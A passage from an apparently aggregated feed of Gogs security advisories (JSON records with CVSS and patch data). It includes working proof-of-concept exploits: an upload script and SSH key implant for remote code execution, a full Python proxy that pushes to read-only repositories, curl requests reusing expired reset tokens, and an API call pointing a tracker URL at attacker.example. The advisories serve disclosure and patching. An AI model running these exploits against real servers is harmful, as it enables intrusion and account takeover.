csrf_token,\n})\nr = c.getresponse(); upload_resp = r.read().decode()\nprint('upload status:', r.status, 'body:', upload_resp)\nuuid = json.loads(upload_resp)['uuid']\n\n# 5. Commit the uploaded file at the repo root.\nc = conn()\nc.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/',\n    body=urllib.parse.urlencode({\n        '_csrf': csrf_token, 'tree_path': '', 'commit_summary': 'docs link',\n        'commit_choice': 'direct', 'files': uuid,\n    }),\n    headers={'Content-Type': 'application/x-www-form-urlencoded',\n             'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})\nr = c.getresponse(); r.read()\nprint('commit status:', r.status)\n```\n\n```sh\npython3 poc.py\n# upload status: 200 body: {\"uuid\":\"\u003cUUID\u003e\"}\n# commit status: 302\n```\n\n### Step 3 — confirm and use the foothold\n\n```sh\nsudo cat /home/git/.ssh/authorized_keys           # operator's view\n# → ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n\nssh -i ~/.ssh/id_ed25519 git@gogs.example         # attacker's view\n# → shell as the gogs runtime UID\n```\n\n### Server-side trace\n\n```\nmultipart wire bytes:  filename=\"hijack\\\\authorized_keys\"\nmime.ParseMediaType    → \"hijack\\authorized_keys\"           (quoted-pair: \\\\ → \\)\nfilepath.Base          → \"hijack\\authorized_keys\"           (Linux: only / is a separator)\npathx.Clean            → \"hijack/authorized_keys\"           (\\\\ → /, then path.Clean)\n\nUploadRepoFiles:\n  targetPath = \u003clocal-r\u003e/\u003crepoID\u003e/hijack/authorized_keys\n             = /home/git/.ssh/authorized_keys               (parent symlink resolved)\n  osx.IsSymlink(targetPath) = false                         (leaf doesn't exist as a symlink)\n  iox.CopyFile → os.Create → OpenFile WITHOUT O_NOFOLLOW    (follows the parent symlink)\n```\n\n### Other reachable targets (same primitive)\n\n| Symlink target | Effect on next event |\n|---|---|\n| `/home/git/.ssh` | SSH key implant → shell as gogs UID |\n| `\u003cRepoRoot\u003e/\u003cowner\u003e/\u003crepo\u003e.git/hooks` | Hook overwrite → arbitrary code on next push |\n| `\u003cRepoRoot\u003e/\u003cowner\u003e/\u003crepo\u003e.git` | `core.fsmonitor=\u003ccmd\u003e` in `config` → exec on next git op |\n| `~git/custom/conf` | Modify `app.ini` (`SCRIPT_TYPE`, `INSTALL_LOCK`, `SECRET_KEY`) on restart |\n| Path of the sqlite DB file | DoS or admin-row replant |\n\n### Independent confirmation against the source\n\n```sh\ngit clone https://github.com/gogs/gogs.git \u0026\u0026 cd gogs\ngit checkout d7571322\ndiff \u003c(sed -n '160,170p' internal/database/repo_editor.go) \\\n     \u003c(sed -n '601,615p' internal/database/repo_editor.go)\n# Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only)\nsed -n '13,16p' internal/pathx/pathx.go\n# Confirm: pathx.Clean does ReplaceAll(\"\\\\\", \"/\")\n```\n\nImpact\n\n- **Authenticated RCE** as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) → upload with crafted filename → commit → write to `~git/.ssh/authorized_keys` → ssh in.\n- Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by *any* user with `GOGS_AUTH_USER_*` env populated), `app.ini` `SECRET_KEY` (forges session cookies, decrypts stored 2FA secrets and mirror credentials).\n- Persistent: symlink and key both survive restart; removing the attacker's repo access does not undo the SSH foothold.\n- Linux/macOS only. Windows hosts are unaffected for two independent reasons (`filepath.Base` separator handling, git's `core.symlinks` default).","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-06-23T17:09:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","references":["https://github.com/gogs/gogs/security/advisories/GHSA-89mr-xqfv-758m","https://github.com/gogs/gogs/pull/8332","https://github.com/gogs/gogs/commit/04cb8afbb01d855454e59977a1cdbf522ea1db31","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2026-52811","https://github.com/advisories/GHSA-89mr-xqfv-758m"],"source_kind":"github","identifiers":["GHSA-89mr-xqfv-758m","CVE-2026-52811"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T18:00:09.137Z","updated_at":"2026-08-28T13:01:26.345Z","epss_percentage":0.00474,"epss_percentile":0.38852,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04OW1yLXhxZnYtNzU4bc4ABZTR","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04OW1yLXhxZnYtNzU4bc4ABZTR","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c 0.14.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04OW1yLXhxZnYtNzU4bc4ABZTR/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13bWZnLTVwNGgtNWZ3M84ABZTQ","url":"https://github.com/advisories/GHSA-wmfg-5p4h-5fw3","title":"Gogs allows users to write to readonly repositories using receive-pack + service=git-upload-pack confusion","description":"### Summary\n\nGit smart HTTP authorizes `POST …/git-receive-pack` using the client-supplied service query string (so `?service=git-upload-pack` is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed.\n\n### Details\n\nGogs' Git Smart HTTP handler for repository RPCs relies on a client-supplied query parameter to decide which authorization policy to apply. The Git protocol exposes two primary RPCs over HTTP: `upload-pack` for fetch (read) and `receive-pack` for push (write).\n\nIn the affected implementation, the code derives the access mode from the `service` query parameter (for example, `service=git-upload-pack`) instead of the actual RPC path being executed. As a result, a request sent to the `receive-pack` endpoint can be incorrectly treated as a read operation if the query parameter claims it is an `upload-pack`. This behavior enables a request to POST to the write endpoint (`/repo.git/git-receive-pack`) while including a query string that indicates a read service.\n\nRoute dispatch still executes the receive-pack code path, but authorization is evaluated as if the request were a read. A user who is normally only allowed to read a repository, can now write to it.\n\nOne edge case is fully public repositories, viewable by anonymous users. Since performing this exploit results in a `AuthUser` property becoming `nil` in this case, a part of the code that uses it crashes (500 Internal Server Error), making it impossible to exploit.\n\nThe two situations in which this is vulnerable are:\n* Attacker = collaborator with only Read rights \u0026 victim = owner of the repository\n* Instance using `REQUIRE_SIGNIN_VIEW = true`. Attacker = any signed in user \u0026 victim = any user with a public repository\n\n### PoC\n\n1. Create a Gogs instance (eg. http://localhost:3000) with 2 users: `victim` \u0026 `attacker`\n2. As the victim, create a new private repository and add the attacker as a Read collaborator:\n\n\u003cimg width=\"1029\" height=\"387\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1f6b7f72-eaab-4970-bf65-221f1cebbbfa\" /\u003e\n\n3. As the attacker, execute the following Python script (editing global vars as required):\n\n```py\nfrom __future__ import annotations\n\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import quote, urlsplit, urlunsplit\n\nimport requests\n\nREPO_URL = \"http://localhost:3000/victim/target\"\nUSERNAME = \"attacker\"\nPASSWORD = \"attacker\"\n\nclass ProxyHandler(BaseHTTPRequestHandler):\n    upstream_scheme: str\n    upstream_netloc: str\n    log_rewrite: bool\n\n    def log_message(self, *_args) -\u003e None:\n        return\n\n    def do_GET(self) -\u003e None:\n        self._relay(\"GET\")\n\n    def do_POST(self) -\u003e None:\n        self._relay(\"POST\")\n\n    def _relay(self, method: str) -\u003e None:\n        raw = self.path\n        if raw.startswith(\"http://\") or raw.startswith(\"https://\"):\n            u = urlsplit(raw)\n            scheme, netloc, path, query = u.scheme, u.netloc, u.path, u.query\n        else:\n            u = urlsplit(raw)\n            scheme, netloc, path, query = (\n                self.upstream_scheme,\n                self.upstream_netloc,\n                u.path,\n                u.query,\n            )\n\n        q = query or \"\"\n        if path.endswith(\"/git-receive-pack\") and \"service=\" not in q:\n            query = f\"{q}\u0026service=git-upload-pack\" if q else \"service=git-upload-pack\"\n            if self.log_rewrite:\n                sys.stderr.write(\n                    f\"[poc] rewrite receive-pack -\u003e {path}?{query}\\n\")\n\n        url = urlunsplit((scheme, netloc, path, query, \"\"))\n        length = self.headers.get(\"Content-Length\")\n        body = self.rfile.read(int(length)) if length else None\n\n        skip = {\n            \"host\",\n            \"connection\",\n            \"proxy-connection\",\n            \"content-length\",\n            \"transfer-encoding\",\n        }\n        out_headers = {}\n        for k, v in self.headers.items():\n            if k.lower() in skip:\n                continue\n            out_headers[k] = v\n        out_headers[\"Host\"] = netloc\n\n        try:\n            with requests.request(\n                method,\n                url,\n                data=body,\n                headers=out_headers,\n                timeout=600,\n                stream=True,\n            ) as resp:\n                resp.raw.decode_content = False\n                data = resp.raw.read()\n                status = resp.status_code\n                headers = resp.headers\n        except requests.RequestException as exc:\n            self.send_error(502, f\"upstream: {exc}\")\n            return\n\n        hop_by_hop = {\n            \"transfer-encoding\",\n            \"connection\",\n            \"content-encoding\",\n            \"proxy-authenticate\",\n            \"proxy-authorization\",\n            \"te\",\n            \"trailers\",\n            \"upgrade\",\n        }\n        self.send_response(status)\n        for k, v in headers.items():\n            if k.lower() in hop_by_hop:\n                continue\n            self.send_header(k, v)\n        self.send_header(\"Content-Length\", str(len(data)))\n        self.end_headers()\n        self.wfile.write(data)\n\ndef _run_git(cwd: str, *args: str, env: dict[str, str] | None = None) -\u003e None:\n    r = subprocess.run([\"git\", *args], cwd=cwd, env=env,\n                       capture_output=True, text=True)\n    if r.returncode != 0:\n        sys.stderr.write(r.stdout or \"\")\n        sys.stderr.write(r.stderr or \"\")\n        raise SystemExit(r.returncode)\n\ndef main() -\u003e None:\n    base = urlsplit(REPO_URL)\n    repo_path = f\"{base.path.rstrip('/')}.git\"\n    auth = f\"{quote(USERNAME, safe='')}:{quote(PASSWORD, safe='')}@{base.netloc}\"\n    remote = urlunsplit((base.scheme, auth, repo_path, \"\", \"\"))\n\n    ProxyHandler.upstream_scheme = base.scheme\n    ProxyHandler.upstream_netloc = base.netloc\n    ProxyHandler.log_rewrite = True\n\n    srv = HTTPServer((\"127.0.0.1\", 0), ProxyHandler)\n    port = srv.server_address[1]\n    t = threading.Thread(target=srv.serve_forever, daemon=True)\n    t.start()\n\n    tmp = tempfile.mkdtemp(prefix=\"gogs-git-poc-\")\n    try:\n        _run_git(tmp, \"init\")\n        _run_git(tmp, \"config\", \"user.email\", \"poc@example.invalid\")\n        _run_git(tmp, \"config\", \"user.name\", \"gogs git http poc\")\n        with open(f\"{tmp}/POC_VULN.txt\", \"w\", encoding=\"utf-8\") as f:\n            f.write(\n                \"Created by local PoC: Git HTTP path is receive-pack while \"\n                \"authorization follows forged service=git-upload-pack.\\n\"\n            )\n        _run_git(tmp, \"add\", \"POC_VULN.txt\")\n        _run_git(tmp, \"commit\", \"-m\",\n                 \"poc: unauthorized push via service query confusion\")\n        _run_git(tmp, \"branch\", \"-M\", \"poc/git-http-confusion\")\n        _run_git(tmp, \"remote\", \"add\", \"origin\", remote)\n\n        env = os.environ.copy()\n        proxy_url = f\"http://127.0.0.1:{port}\"\n        env[\"http_proxy\"] = proxy_url\n        env[\"HTTP_PROXY\"] = proxy_url\n        env[\"https_proxy\"] = proxy_url\n        env[\"HTTPS_PROXY\"] = proxy_url\n\n        push = subprocess.run(\n            [\"git\", \"push\", \"-u\", \"origin\", \"poc/git-http-confusion\"],\n            cwd=tmp,\n            env=env,\n            capture_output=True,\n            text=True,\n        )\n        if push.returncode != 0:\n            sys.stderr.write(push.stdout or \"\")\n            sys.stderr.write(push.stderr or \"\")\n            sys.exit(push.returncode)\n\n        sys.stdout.write(push.stdout or \"\")\n        sys.stderr.write(\n            f\"\\n[poc] push succeeded. Branch poc/git-http-confusion should exist on {REPO_URL}.\\n\"\n        )\n    finally:\n        srv.shutdown()\n        shutil.rmtree(tmp, ignore_errors=True)\n\nif __name__ == \"__main__\":\n    main()\n```\n\n4. Reload the repo URL and notice the attacker successfully wrote to the read-only repo:\n\n\u003cimg width=\"1038\" height=\"398\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4ada8b19-8cbd-40b0-a324-e93ed4d1c965\" /\u003e\n\n### Impact\n\nIf you can read a repository, and an anonymous user cannot, you can write to it. This affects some cases where read-only collaborator access is given, but is most impactful in instances with `REQUIRE_SIGNIN_VIEW = true` configured, because then all repositories will be writable to any user.\nUsing force push this can also affect availability, as the original code in the main branch, for example, can be overridden without leaving history.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-23T17:03:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-wmfg-5p4h-5fw3","https://github.com/gogs/gogs/pull/8331","https://github.com/gogs/gogs/commit/7c9cf53aca957959bcd98b0cc987d9901b7cb184","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2026-52810","https://github.com/advisories/GHSA-wmfg-5p4h-5fw3"],"source_kind":"github","identifiers":["GHSA-wmfg-5p4h-5fw3","CVE-2026-52810"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T18:00:09.137Z","updated_at":"2026-09-03T07:01:34.254Z","epss_percentage":0.00427,"epss_percentile":0.35529,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13bWZnLTVwNGgtNWZ3M84ABZTQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13bWZnLTVwNGgtNWZ3M84ABZTQ","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c 0.14.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13bWZnLTVwNGgtNWZ3M84ABZTQ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01YzNmLTY0ODYtM2c3Z84ABZTP","url":"https://github.com/advisories/GHSA-5c3f-6486-3g7g","title":"Gogs's password-reset tokens use account-activation lifetime, ignoring RESET_PASSWORD_CODE_LIVES","description":"## Summary\n\nPassword-reset tokens are generated using `conf.Auth.ActivateCodeLives` (the account-activation lifetime), not `conf.Auth.ResetPasswordCodeLives`. The token lifetime is baked into the token itself at generation time and is re-extracted from the token at verification time, making `RESET_PASSWORD_CODE_LIVES` irrelevant to actual enforcement. When an administrator configures a shorter reset window (e.g., 10 minutes) for compliance or security reasons, reset tokens remain exploitable for the full activation lifetime instead, while the reset email falsely advertises the shorter expiry.\n\n## Severity\n\n**Medium** (CVSS 3.1: 6.8)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N`\n\n- **Attack Vector:** Network — the reset endpoint is reachable over HTTP/S.\n- **Attack Complexity:** High — successful exploitation requires (1) the instance to be configured with `RESET_PASSWORD_CODE_LIVES \u003c ACTIVATE_CODE_LIVES`, AND (2) the attacker to have intercepted the victim's reset token (e.g., from a compromised or shared email inbox).\n- **Privileges Required:** None — no Gogs account is required.\n- **User Interaction:** Required — the victim must have triggered a password-reset request.\n- **Scope:** Unchanged — the impact is confined to the victim's Gogs account.\n- **Confidentiality Impact:** High — successful exploitation leads to account takeover, exposing all private repositories and data.\n- **Integrity Impact:** High — the attacker can change the victim's password and gain full write access.\n- **Availability Impact:** None.\n\n## Affected component\n\n- `internal/userx/userx.go` — `GenerateActivateCode()` (line 39)\n- `internal/email/email.go` — `SendResetPasswordMail()` (line 132)\n- `internal/route/user/auth.go` — `verifyUserActiveCode()` (lines 426–439) and `ResetPasswdPost()` (line 621)\n\n## CWE\n\n- **CWE-324**: Use of a Key Past Its Expiration Date\n- **CWE-613**: Insufficient Session Expiration\n\n## Description\n\n### The reset token lifetime is hardcoded to `ActivateCodeLives` at generation\n\n`GenerateActivateCode` (called for both account activation and password reset) bakes `conf.Auth.ActivateCodeLives` — not `ResetPasswordCodeLives` — into the token as a 6-digit field:\n\n```go\n// internal/userx/userx.go:36-46\nfunc GenerateActivateCode(userID int64, email, name, password, rands string) string {\n    code := tool.CreateTimeLimitCode(\n        fmt.Sprintf(\"%d%s%s%s%s\", userID, email, strings.ToLower(name), password, rands),\n        conf.Auth.ActivateCodeLives,   // ← always ActivateCodeLives, never ResetPasswordCodeLives\n        nil,\n    )\n    code += hex.EncodeToString([]byte(strings.ToLower(name)))\n    return code\n}\n```\n\n`CreateTimeLimitCode` embeds the `minutes` value at positions 12–17 of the token:\n\n```\nToken format: YYYYMMDDHHMM (12) | 000180 (6-digit lives) | SHA1 (40) | hex-username\n```\n\n`SendResetPasswordMail` calls `u.GenerateEmailActivateCode(u.Email())` — which resolves to `GenerateActivateCode` — with no option to pass a different lifetime:\n\n```go\n// internal/email/email.go:131-132\nfunc SendResetPasswordMail(c *macaron.Context, u User) error {\n    return SendUserMail(c, u, tmplAuthResetPassword, u.GenerateEmailActivateCode(u.Email()), ...)\n}\n```\n\n### `ResetPasswordCodeLives` is used only for display, not enforcement\n\n`VerifyTimeLimitCode` discards the `minutes` argument and re-extracts the lifetime directly from the token itself:\n\n```go\n// internal/tool/tool.go:62-86\nfunc VerifyTimeLimitCode(data string, minutes int, code string) bool {\n    start := code[:12]\n    lives := code[12:18]\n    if d, err := strconv.Atoi(lives); err == nil {\n        minutes = d    // ← argument overridden by value baked into the token\n    }\n    retCode := CreateTimeLimitCode(data, minutes, start)\n    if retCode == code \u0026\u0026 minutes \u003e 0 {\n        before, _ := time.ParseInLocation(\"200601021504\", start, time.Local)\n        if before.Add(time.Minute * time.Duration(minutes)).Unix() \u003e now.Unix() {\n            return true\n        }\n    }\n    return false\n}\n```\n\nThe `verifyUserActiveCode` caller passes `conf.Auth.ActivateCodeLives` as `minutes`, but it makes no difference:\n\n```go\n// internal/route/user/auth.go:426-439\nfunc verifyUserActiveCode(code string) (user *database.User) {\n    minutes := conf.Auth.ActivateCodeLives   // passed to VerifyTimeLimitCode but immediately overridden\n    if user = parseUserFromCode(code); user != nil {\n        prefix := code[:tool.TimeLimitCodeLength]\n        data := strconv.FormatInt(user.ID, 10) + user.Email + user.LowerName + user.Password + user.Rands\n        if tool.VerifyTimeLimitCode(data, minutes, prefix) {\n            return user\n        }\n    }\n    return nil\n}\n```\n\n`ResetPasswdPost` validates the reset token through `verifyUserActiveCode`, so it inherits the same flaw:\n\n```go\n// internal/route/user/auth.go:621\nif u := verifyUserActiveCode(code); u != nil {\n```\n\n`ResetPasswordCodeLives` appears only in email template data and in the admin config display — it has zero effect on actual token validation:\n\n```go\n// internal/email/email.go:109 — template data only, not used to generate the token\n\"ResetPwdCodeLives\": conf.Auth.ResetPasswordCodeLives / 60,\n```\n\n### Full execution chain\n\n1. **Victim requests reset**: `POST /user/forget_password` → `SendResetPasswordMail` generates a token embedding `ActivateCodeLives = 180` at bytes 12–17.\n2. **Email delivered**: The reset email says \"link valid for 10 minutes\" (from `ResetPwdCodeLives` in the template) but the embedded lifetime is 180.\n3. **`RESET_PASSWORD_CODE_LIVES` window closes**: After 10 minutes the victim believes the link has expired.\n4. **Attacker submits the token**: `POST /user/reset_password?code=\u003cTOKEN\u003e` → `ResetPasswdPost` → `verifyUserActiveCode` → `VerifyTimeLimitCode` extracts `000180` from the token → confirms the token has not yet reached the 180-minute mark → returns the user object → password is updated.\n5. **Account takeover**: Attacker sets a new password and authenticates as the victim.\n\n## Proof of Concept\n\n```ini\n# app.ini configuration that exposes the bug:\n[auth]\nACTIVATE_CODE_LIVES = 180\nRESET_PASSWORD_CODE_LIVES = 10\n```\n\n```bash\n# 1) Request password reset for victim account\ncurl -i -X POST -d 'email=victim@example.com' http://HOST/user/forget_password\n\n# 2) Obtain the reset link from the email.\n#    Wait 11 minutes (past RESET_PASSWORD_CODE_LIVES, within ACTIVATE_CODE_LIVES).\n\n# 3) Submit the \"expired\" reset code — it still succeeds\ncurl -i -X POST \\\n  -d 'code=\u003cCODE_FROM_EMAIL\u003e\u0026password=AttackerNewPass' \\\n  'http://HOST/user/reset_password?code=\u003cCODE_FROM_EMAIL\u003e'\n\n# Expected: HTTP 302 redirect to /user/login — password successfully changed\n# despite the reset window having \"closed\" 10 minutes ago.\n```\n\n## Impact\n\n- An administrator who sets `RESET_PASSWORD_CODE_LIVES` shorter than `ACTIVATE_CODE_LIVES` to limit the window of exposure for intercepted reset emails gets no security benefit from that configuration.\n- Reset tokens remain valid for the full activation lifetime (default 3 hours), giving an attacker who has intercepted a reset email a much larger window to use it.\n- The reset email actively misleads users by advertising a shorter expiry that is never enforced.\n- All password-reset operations are affected; there is no per-user or per-request way to issue a correctly-expiring token.\n\n## Recommended remediation\n\n### Option 1: Add a `ResetPasswordCodeLives`-aware generation function (preferred)\n\nIntroduce a dedicated code-generation path that passes `conf.Auth.ResetPasswordCodeLives` instead of `ActivateCodeLives`:\n\n```go\n// internal/userx/userx.go\nfunc GenerateResetPasswordCode(userID int64, email, name, password, rands string) string {\n    code := tool.CreateTimeLimitCode(\n        fmt.Sprintf(\"%d%s%s%s%s\", userID, email, strings.ToLower(name), password, rands),\n        conf.Auth.ResetPasswordCodeLives,   // ← correct lifetime\n        nil,\n    )\n    code += hex.EncodeToString([]byte(strings.ToLower(name)))\n    return code\n}\n```\n\nUpdate `email.User` to expose this through the interface:\n\n```go\n// internal/email/email.go interface\nGenerateResetPasswordCode(email string) string\n```\n\nUpdate `SendResetPasswordMail` to call it:\n\n```go\nfunc SendResetPasswordMail(c *macaron.Context, u User) error {\n    return SendUserMail(c, u, tmplAuthResetPassword, u.GenerateResetPasswordCode(u.Email()), ...)\n}\n```\n\nBecause `VerifyTimeLimitCode` reads the lifetime from the token itself, no change to the verification side is required — tokens generated with `ResetPasswordCodeLives` will automatically expire at the correct time.\n\n### Option 2: Validate the extracted lifetime against the configured maximum\n\nAdd a post-extraction check in `VerifyTimeLimitCode` or in the reset-specific verification function to reject tokens whose embedded lifetime exceeds `ResetPasswordCodeLives`:\n\n```go\n// in verifyUserActiveCode, after extracting the prefix:\nembeddedLives := ... // parse positions 12-18 of the code\nif embeddedLives \u003e conf.Auth.ResetPasswordCodeLives {\n    return nil  // reject tokens with a longer-than-allowed lifetime\n}\n```\n\nThis is a defence-in-depth measure but does not fix the root cause; Option 1 is preferred.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-23T17:03:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-5c3f-6486-3g7g","https://github.com/gogs/gogs/pull/8328","https://github.com/gogs/gogs/commit/187e9c557930eb4a8b9b1502ee45cccf3255ee7f","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2026-52809","https://github.com/advisories/GHSA-5c3f-6486-3g7g"],"source_kind":"github","identifiers":["GHSA-5c3f-6486-3g7g","CVE-2026-52809"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T18:00:09.137Z","updated_at":"2026-08-28T13:01:26.346Z","epss_percentage":0.00202,"epss_percentile":0.09963,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01YzNmLTY0ODYtM2c3Z84ABZTP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01YzNmLTY0ODYtM2c3Z84ABZTP","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c 0.14.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01YzNmLTY0ODYtM2c3Z84ABZTP/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yNjhqLTM3eGYtcHA1Ms4ABZTO","url":"https://github.com/advisories/GHSA-268j-37xf-pp52","title":"Gogs's write-level collaborators can mutate admin-only repository settings via API","description":"## Summary\n\nThree API endpoints — `PATCH /api/v1/repos/:owner/:repo/issue-tracker`, `PATCH /api/v1/repos/:owner/:repo/wiki`, and `POST /api/v1/repos/:owner/:repo/mirror-sync` — are gated by `reqRepoWriter()` rather than `reqRepoAdmin()`. The equivalent operations in the web UI sit behind `reqRepoAdmin`, which requires `AccessMode \u003e= AccessModeAdmin`. A write-level collaborator (who has `AccessMode == AccessModeWrite \u003c AccessModeAdmin`) can therefore call these API endpoints directly to disable the native issue tracker or wiki, inject attacker-controlled external tracker/wiki URLs that redirect all repository visitors, or trigger mirror sync — none of which they are authorized to do.\n\n## Severity\n\n**High** (CVSS 3.1: 7.1)\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L`\n\n- **Attack Vector:** Network — the API endpoints are reachable over HTTP/S.\n- **Attack Complexity:** Low — a single API call is sufficient; no chaining or race condition required.\n- **Privileges Required:** Low — only write-level collaborator access to the targeted repository is needed. The attacker does not need repo-admin or site-admin privileges.\n- **User Interaction:** None — the attacker acts unilaterally.\n- **Scope:** Unchanged — the impact is contained to the targeted repository's settings and its visitors.\n- **Confidentiality Impact:** None — the attacker does not read confidential data directly.\n- **Integrity Impact:** High — the attacker permanently mutates repository configuration, including injecting an external URL that redirects all visitors who click the Issues or Wiki tabs to an attacker-controlled site.\n- **Availability Impact:** Low — disabling the native issue tracker or wiki reduces the availability of those features for all repository participants.\n\n\n## Affected component\n\n- `internal/route/api/v1/api.go` — route registration (lines 365–367)\n- `internal/route/api/v1/repo_repo.go` — `issueTracker()` (line 400), `wiki()` (line 437), `mirrorSync()` (line 463)\n\n## CWE\n\n- **CWE-863**: Incorrect Authorization\n- **CWE-269**: Improper Privilege Management\n\n## Description\n\n### Three admin-equivalent API endpoints are protected by write-level middleware\n\n`api.go:365-367` registers the three settings endpoints with `reqRepoWriter()`:\n\n```go\n// internal/route/api/v1/api.go:365-367\nm.Patch(\"/issue-tracker\", reqRepoWriter(), bind(editIssueTrackerRequest{}), issueTracker)\nm.Patch(\"/wiki\", reqRepoWriter(), bind(editWikiRequest{}), wiki)\nm.Post(\"/mirror-sync\", reqRepoWriter(), mirrorSync)\n```\n\n`reqRepoWriter()` (defined at `api.go:131-138`) passes any user whose repository `AccessMode \u003e= AccessModeWrite`:\n\n```go\nfunc reqRepoWriter() macaron.Handler {\n    return func(c *context.Context) {\n        if !c.Repo.IsWriter() {\n            c.Status(http.StatusForbidden)\n            return\n        }\n    }\n}\n```\n\nThe handlers themselves perform no additional privilege check before mutating state:\n\n```go\n// internal/route/api/v1/repo_repo.go:400-428\nfunc issueTracker(c *context.APIContext, form editIssueTrackerRequest) {\n    _, repo := parseOwnerAndRepo(c)\n    ...\n    if form.EnableExternalTracker != nil {\n        repo.EnableExternalTracker = *form.EnableExternalTracker\n    }\n    if form.ExternalTrackerURL != nil {\n        repo.ExternalTrackerURL = *form.ExternalTrackerURL   // ← attacker-controlled URL written directly\n    }\n    ...\n    database.UpdateRepository(repo, false)   // ← no admin check before this call\n}\n```\n\nThe `wiki()` handler (lines 437–461) follows the same pattern, writing `repo.ExternalWikiURL` directly and calling `UpdateRepository` with no admin gate.\n\n### The web UI imposes a stricter admin requirement for the same operations\n\n`cmd/gogs/web.go:472` wraps the entire `/settings` subtree with `reqRepoAdmin`:\n\n```go\n// cmd/gogs/web.go:425-472\nm.Group(\"/:username/:reponame\", func() {\n    m.Group(\"/settings\", func() {\n        m.Combo(\"\").Get(repo.Settings).\n            Post(bindIgnErr(form.RepoSetting{}), repo.SettingsPost)\n        ...\n    }, ...)\n}, reqSignIn, context.RepoAssignment(), reqRepoAdmin, context.RepoRef())\n```\n\n`context.RequireRepoAdmin()` (defined at `context/repo.go:434-441`) requires `AccessMode \u003e= AccessModeAdmin`:\n\n```go\nfunc RequireRepoAdmin() macaron.Handler {\n    return func(c *Context) {\n        if !c.IsLogged || (!c.Repo.IsAdmin() \u0026\u0026 !c.User.IsAdmin) {\n            c.NotFound()\n            return\n        }\n    }\n}\n```\n\nIn the access mode hierarchy, `AccessModeWrite \u003c AccessModeAdmin`. A write-level collaborator satisfies `reqRepoWriter()` but does not satisfy `RequireRepoAdmin()`. The API path provides the write-level collaborator with capabilities that the UI correctly withholds.\n\n### Full execution chain\n\n1. **Attacker precondition**: Attacker is added as a repository collaborator with write access (`AccessMode == AccessModeWrite`).\n2. **API call**: `PATCH /api/v1/repos/OWNER/REPO/issue-tracker` with `Authorization: token WRITER_TOKEN` and body `{\"enable_external_tracker\":true,\"external_tracker_url\":\"https://attacker.example/phish\"}`.\n3. **Middleware**: `reqRepoWriter()` checks `c.Repo.IsWriter()` → `AccessMode \u003e= AccessModeWrite` → passes.\n4. **Handler**: `issueTracker()` sets `repo.EnableExternalTracker = true` and `repo.ExternalTrackerURL = \"https://attacker.example/phish\"`, then calls `database.UpdateRepository(repo, false)`. No admin check occurs.\n5. **Impact**: All visitors to the repository who click the \"Issues\" tab are redirected to the attacker's server. The native issue tracker is bypassed permanently until a repo admin reverses the change.\n\n## Proof of Concept\n\n```bash\n# Precondition: attacker is a collaborator with WRITE access, not repo admin.\n\n# 1) Redirect the Issues tab to an attacker-controlled phishing page\ncurl -i -X PATCH 